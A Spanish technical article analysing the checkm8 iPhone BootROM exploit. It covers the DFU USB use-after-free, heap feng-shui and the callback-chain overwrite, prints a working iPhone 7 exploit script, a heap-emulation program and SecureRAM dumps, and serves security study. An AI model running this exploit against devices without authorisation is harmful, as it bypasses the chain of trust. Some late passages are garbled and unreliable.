Análisis técnico del exploit checkm8


Con una alta probabilidad de que ya haya escuchado sobre el sensacional exploit checkm8 , que utiliza una vulnerabilidad irrecuperable en el BootROM mayoría de los iPhone X , incluido el iPhone X En este artículo, proporcionaremos un análisis técnico del exploit y veremos las causas de la vulnerabilidad. Cualquier persona interesada: ¡bienvenido bajo el corte!


Puedes leer la versión en inglés del artículo aquí .


Introduccion


Primero, describiremos brevemente el proceso de arranque de iDevice y descubriremos qué lugar ocupa BootROM en él (también se puede llamar SecureROM ) y por qué es necesario. Toda la información detallada sobre esto está aquí . El proceso de arranque simplificado se puede representar de la siguiente manera:



BootROM es lo primero que ejecuta el procesador cuando se enciende el dispositivo. Las principales tareas de BootROM :


  • Inicialización de la plataforma (configuración de los registros de plataforma necesarios, inicialización de la CPU , etc.)
  • Verificación y transferencia de control a la siguiente etapa de carga
    • BootROM admite el análisis de imágenes IMG3/IMG4
    • BootROM tiene acceso a la clave GID para descifrar imágenes
    • Para verificar imágenes, la clave pública de Apple está integrada en BootROM , y existe la funcionalidad necesaria para trabajar con criptografía
  • Recuperar un dispositivo si no es posible descargar más ( Device Firmware Update , DFU )

BootROM tamaño muy pequeño y puede llamarse una versión iBoot de iBoot , ya que comparten la mayor parte del código del sistema y de la biblioteca. Sin embargo, a diferencia de iBoot , BootROM no se puede actualizar. Se coloca en la memoria interna de solo lectura cuando se fabrica el dispositivo. BootROM es la raíz del hardware de la cadena de confianza. Las vulnerabilidades pueden permitir el control sobre el proceso de descarga adicional y la ejecución de código sin firmar en el dispositivo.



La aparición de checkm8


El exploit checkm8 fue agregado a la utilidad ipwndfu por su autor axi0mX el 27 de septiembre de 2019. Luego anunció una actualización en su cuenta de Twitter, acompañada de una descripción del exploit e información adicional. Puede descubrir en el hilo que el autor descubrió la vulnerabilidad de use-after-free en el código USB durante el iBoot para iOS 12 beta en el verano de 2018. Como se señaló anteriormente, BootROM e iBoot tienen mucho código común, incluido el código para USB , por lo que esta vulnerabilidad también es relevante para BootROM .


También se desprende del código de explotación que la vulnerabilidad se explota en DFU . Este es un modo en el que una imagen firmada se puede transferir al dispositivo a través de USB , que posteriormente se descargará. Esto puede ser necesario, por ejemplo, para restaurar el dispositivo si la actualización no tiene éxito.


El mismo día, littlelailo informó que había encontrado esta vulnerabilidad en marzo y publicó su descripción en el archivo apollo.txt . La descripción corresponde a lo que sucede en el código checkm8 , pero no aclara completamente los detalles del exploit. Por lo tanto, decidimos escribir este artículo y describir todos los detalles de la operación hasta la ejecución de la carga útil en BootROM inclusive.


Realizamos un análisis de exploits basado en los materiales mencionados anteriormente, así como en el código fuente de iBoot/SecureROM filtró en febrero de 2018. También utilizamos datos obtenidos experimentalmente en nuestro dispositivo de prueba: iPhone 7 ( CPID:8010 ). Usando checkm8 eliminamos los SecureROM y SecureRAM , lo que nos ayudó con el análisis.


Conocimiento esencial de USB


La vulnerabilidad detectada está en el código USB , por lo que se requiere cierto conocimiento sobre esta interfaz. Puede leer la especificación completa aquí , pero es bastante voluminosa. Un excelente material, que es más que suficiente para una mayor comprensión, es USB en un NutShell . Aquí damos solo lo más necesario.


Existen varios tipos de transferencia de datos USB . DFU usa solo el modo Control Transfers (puede leer sobre esto aquí ). Cada transacción en este modo consta de tres etapas:



  • Setup Stage : en esta etapa se envía un paquete de SETUP , que consta de los siguientes campos:
    • bmRequestType : describe la dirección, el tipo y el receptor de la solicitud
    • bRequest : determina qué solicitud se realiza
    • wValue , wIndex : dependiendo de la solicitud, se pueden interpretar de manera diferente
    • wLength : longitud de los datos recibidos / transmitidos en la Data Stage
  • Data Stage : una etapa opcional en la que tiene lugar la transferencia de datos. Dependiendo del paquete de SETUP de la etapa anterior, esto puede estar enviando datos desde el host al dispositivo ( OUT ) o viceversa ( IN ). Los datos se envían en pequeñas porciones (en el caso de Apple DFU , son 0x40 bytes).
    • Cuando el host quiere transferir el siguiente lote de datos, envía un token OUT , después del cual se envían los datos.
    • Cuando el host está listo para recibir datos del dispositivo, envía un token IN , en respuesta al cual el dispositivo envía datos.
  • Status Stage : la etapa final en la que se informa el estado de toda la transacción.
    • Para las solicitudes OUT , el host envía un token IN , en respuesta al cual el dispositivo debe enviar un paquete de datos de longitud cero.
    • Para solicitudes IN , el host envía un token OUT y un paquete de datos de longitud cero.

OUT consultas OUT e IN se muestran en el diagrama a continuación. Quitamos intencionalmente ACK , NACK y otros paquetes de protocolo de enlace de la descripción y el esquema de interacción, ya que no juegan un papel especial en el exploit en sí.



Análisis apollo.txt


Comenzamos el análisis analizando la vulnerabilidad del documento apollo.txt . Describe el algoritmo del modo DFU :


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. Cuando usb se inicia para obtener una imagen sobre dfu, dfu registra una interfaz para manejar todos los comandos y asigna un búfer para entrada y salida
  2. si envía datos a dfu, el paquete de configuración es manejado por el código principal que luego llama al código de interfaz
  3. el código de interfaz verifica que wLength es más corto que la longitud del búfer de entrada y salida y, si ese es el caso, actualiza un puntero pasado como argumento con un puntero al búfer de entrada y salida
  4. luego devuelve wLength, que es la longitud que desea recibir en el búfer
  5. el código principal usb luego actualiza una var global con la longitud y se prepara para recibir los paquetes de datos
  6. Si se recibe un paquete de datos, se escribe en el búfer de entrada y salida a través del puntero que se pasó como argumento y se usa otra variable global para realizar un seguimiento de cuántos bytes ya se recibieron.
  7. si se recibieron todos los datos, se vuelve a llamar al código específico de dfu y luego se copia el contenido del búfer de entrada y salida en la ubicación de memoria desde donde se inicia la imagen más tarde
  8. después de eso, el código usb restablece todas las variables y pasa a tener nuevos paquetes
  9. si sale dfu, se libera el búfer de entrada y salida y si falla el análisis de la imagen, bootrom vuelve a entrar dfu

Primero, comparamos los pasos descritos con el código fuente de iBoot . Como no podemos usar fragmentos de código fuente filtrado en el artículo, mostraremos el pseudocódigo obtenido por la ingeniería inversa SecureROM de nuestro iPhone 7 en IDA . Puede encontrar fácilmente el código fuente de iBoot y navegarlo.


Cuando se inicializa el modo DFU , se asigna un búfer de IO y se registra una interfaz USB para procesar solicitudes a la DFU :



Cuando un paquete de solicitud SETUP llega a la DFU , se llama al controlador de interfaz correspondiente. En caso de ejecución exitosa de la solicitud OUT (por ejemplo, durante la transferencia de imágenes), el controlador debe devolver la dirección del buffer IO para la transacción y el tamaño de los datos que espera recibir por puntero. En este caso, la dirección del búfer y el tamaño de los datos esperados se almacenan en variables globales.



El controlador de interfaz para DFU se muestra en la captura de pantalla a continuación. Si la solicitud es correcta, el puntero devuelve la dirección del búfer de IO asignado en la etapa de inicialización de DFU y la longitud de los datos esperados, que se toman del paquete de SETUP .



Durante la Data Stage cada pieza de datos se escribe en el búfer de IO , después de lo cual se cambia la dirección del búfer de IO y se actualiza el contador de datos recibidos. Después de recibir todos los datos esperados, se llama al controlador de datos de la interfaz y se borra el estado de transmisión global.



En el controlador de datos DFU , los datos recibidos se mueven al área de memoria desde donde continuará la descarga. A juzgar por el código fuente de iBoot , esta área de memoria en Apple se llama INSECURE_MEMORY .



Al salir del modo DFU , se liberará el búfer de IO asignado previamente. Si la imagen se recibió con éxito en el modo DFU , se comprobará y cargará. Si, durante el funcionamiento del modo DFU , se produjo algún error o es imposible cargar la imagen resultante, la DFU se reiniciará y todo comenzará de nuevo.


En el algoritmo descrito se encuentra la vulnerabilidad de use-after-free . Si en el arranque, envía un paquete de SETUP y completa la transacción omitiendo la Data Stage , el estado global permanecerá inicializado al volver a ingresar al ciclo DFU , y podremos escribir en la dirección del búfer IO asignado en la iteración DFU anterior.


Habiendo lidiado con la vulnerabilidad de use-after-free , nos preguntamos: ¿cómo puedo sobrescribir algo durante la próxima iteración de DFU ? Después de todo, antes de reiniciar la DFU se liberan todos los recursos asignados previamente y la ubicación de la memoria en la nueva iteración debe ser exactamente la misma. Resulta que hay otro error de pérdida de memoria interesante y bastante hermoso que permite explotar la vulnerabilidad de use-after-free , que discutiremos más adelante.


Análisis Checkm8


Procedemos directamente al análisis del exploit checkm8 . Para simplificar, analizaremos una versión modificada del exploit para iPhone 7 , en la que se ha eliminado el código asociado con otras plataformas, se ha cambiado la secuencia y los tipos de solicitudes USB sin perder el exploit. También en esta versión se elimina el proceso de construcción de la carga útil, se puede encontrar en el archivo checkm8.py original. Comprender las diferencias entre las versiones para otros dispositivos no debería ser difícil.


 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

checkm8 trabajo de checkm8 se puede dividir en varias etapas:


  1. Preparación del heap feng-shui ( heap feng-shui )
  2. Asignación y liberación del búfer IO sin borrar el estado global
  3. Sobrescribir usb_device_io_request en el montón con use-after-free
  4. Colocación de carga útil
  5. Ejecución de callback-chain
  6. Ejecución de shellcode

Considere cada una de las etapas en detalle.


1. Preparación del montón (montón feng-shui)


Nos parece que esta es la etapa más interesante, y le prestamos especial atención.


 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

Este paso es necesario para lograr un estado de almacenamiento dinámico conveniente para la operación use-after-free uso. Para comenzar, considere las llamadas de stall , leak , no_leak :


 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer es un contenedor sobre device.ctrlTransfer ignora las excepciones que ocurrieron al ejecutar la solicitud. libusb1_async_ctrl_transfer : un contenedor sobre la función libusb_submit_transfer de libusb para la ejecución de consultas asíncronas.


Ambas llamadas aceptan los siguientes parámetros:


  • Instancia del dispositivo
  • Datos para el paquete SETUP (su descripción está aquí ):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • Tamaño de datos ( wLength ) o Datos para la Data Stage
  • Solicitar tiempo de espera

Los argumentos bmRequestType , bRequest , wValue y wIndex son comunes a los tres tipos de consultas. Significan:


  • bmRequestType = 0x80
    • 0b1XXXXXXX : dirección de la Data Stage desde el dispositivo al host (Dispositivo a host)
    • 0bX00XXXXX - tipo de solicitud estándar
    • 0bXXX00000 - receptor de la solicitud - dispositivo
  • bRequest = 6 - solicitud de descriptor ( GET_DESCRIPTOR )
  • wValue = 0x304
    • wValueHigh = 0x3 - determina el tipo de descriptor que se recibirá - cadena ( USB_DT_STRING )
    • wValueLow = 0x4 es el índice del descriptor de cadena, 4 corresponde al número de serie del dispositivo (en este caso, la cadena se ve como CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
  • wIndex = 0x40A - identificador del lenguaje de cadena, su valor no es importante para la operación y se puede cambiar.

Para cualquiera de estas tres solicitudes, se asignan 0x30 bytes en el montón para un objeto de la siguiente estructura:



Los campos más interesantes de este objeto son callback y next .


  • callback : un puntero a una función que se llamará cuando se complete la solicitud.
  • next : un puntero al siguiente objeto del mismo tipo, necesario para las solicitudes de cola.

Una característica clave de la stall de llamadas es utilizar la ejecución asincrónica de la solicitud con un tiempo de espera mínimo. Debido a esto, si tiene suerte, la solicitud se cancelará a nivel del sistema operativo y permanecerá en la cola de ejecución, y la transacción no se completará. Al mismo tiempo, el dispositivo continuará aceptando todos los paquetes SETUP entrantes y, si es necesario, los colocará en la cola de ejecución. Más tarde, utilizando experimentos con un USB en Arduino pudimos descubrir que, para una operación exitosa, el host debe enviar un paquete de SETUP y un token IN , después de lo cual la transacción debe cancelarse por tiempo de espera. Esquemáticamente, una transacción tan incompleta se puede representar de la siguiente manera:



El resto de las solicitudes difieren solo en longitud y solo en una. El hecho es que para consultas estándar hay una callback estándar que se ve así:



El valor io_length es igual al mínimo de wLength en el paquete SETUP de la solicitud y la longitud original del descriptor solicitado. Debido al hecho de que el descriptor es lo suficientemente largo, podemos controlar con precisión el valor io_length dentro de su longitud. El valor de g_setup_request.wLength es igual al valor de wLength último paquete SETUP , en este caso, 0xC1 .


Por lo tanto, al finalizar las consultas generadas utilizando las llamadas de leak y leak , se cumple la condición en la función de callback final y usb_core_send_zlp() llama a usb_core_send_zlp() . Esta llamada simplemente crea un zero-length-packet y lo agrega a la cola de ejecución. Esto es necesario para que la transacción se complete correctamente en la Status Stage .


La solicitud finaliza con una llamada a la función usb_core_complete_endpoint_io , que primero llama a la callback y luego libera la memoria de la solicitud. Al mismo tiempo, la finalización de la solicitud puede ocurrir no solo cuando se completa realmente la transacción, sino también cuando USB restablece el USB . Tan pronto como se reciba una señal de restablecimiento de USB , se omitirá la cola de solicitud y se completará cada una de ellas.


Debido a la llamada selectiva a usb_core_send_zlp() , omitiendo la cola de solicitudes y luego liberándolas, puede lograr un control de montón suficiente para la operación de use-after-free . Primero, veamos el ciclo de lanzamiento en sí:



Primero se borra la cola de solicitudes, luego se usb_core_complete_endpoint_io solicitudes canceladas y se completan llamando a usb_core_complete_endpoint_io . Al mismo tiempo, las solicitudes seleccionadas con usb_core_send_zlp se colocan en ep->io_head . Una vez que se complete el procedimiento de restablecimiento de USB restablecerá toda la información sobre el punto final, incluidos los io_tail io_head y io_tail , y las solicitudes de longitud cero permanecerán en el montón. Por lo tanto, puede crear un pequeño fragmento en el medio del resto del montón. El siguiente diagrama muestra cómo sucede esto:



El montón en SecureROM diseñado de tal manera que se asigna una nueva área de memoria desde un fragmento libre adecuado del tamaño más pequeño. Al crear una pequeña porción libre mediante el método descrito anteriormente, puede afectar la asignación de memoria durante la inicialización de USB y la asignación de io_buffer y las solicitudes.


Para una mejor comprensión, descubramos qué solicitudes de montón se producen durante la inicialización de DFU . En el curso del análisis del código fuente de iBoot y la ingeniería inversa iBoot SecureROM logramos obtener la siguiente secuencia:


    1. Asignación de varios descriptores de cadena
      • 1.1. Nonce (tamaño 234 )
      • 1.2. Manufacturer ( 22 )
      • 1.3. Product ( 62 )
      • 1.4. Serial Number ( 198 )
      • 1.5. Configuration string ( 62 )

    1. Asignación asociada con la creación de la tarea del USB
      • 2.1. Estructura de tareas ( 0x3c0 )
      • 2.2. Tarea de pila ( 0x1000 )

    1. io_buffer ( io_buffer )

    1. Descriptores de configuración
      • 4.1. High-Speed ( 25 )
      • 4.2. Full-Speed ( 25 )


Luego hay una asignación de estructuras de solicitud. Si hay un pequeño fragmento en el medio del espacio de almacenamiento dinámico, algunas asignaciones de la primera categoría irán a este fragmento, y todas las demás asignaciones se moverán, por lo que podemos desbordar usb_device_io_request , refiriéndonos al antiguo búfer. Esquemáticamente, esto se puede representar de la siguiente manera:



Para calcular el sesgo necesario, decidimos simplemente emular las asignaciones enumeradas anteriormente, adaptando ligeramente el código fuente del montón iBoot .


Emulación de pila DFU
 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); //        SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

Salida del programa con 8 solicitudes en la etapa de heap feng-shui del heap feng-shui :


 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

El próximo usb_device_io_request estará en el desplazamiento 0x5c0 desde el comienzo del búfer anterior, que corresponde al código de explotación:


 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

, SecureRAM , checkm8 . , . , usb_device_io_request , .


 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): #    this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

. , .


SecureRAM
 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 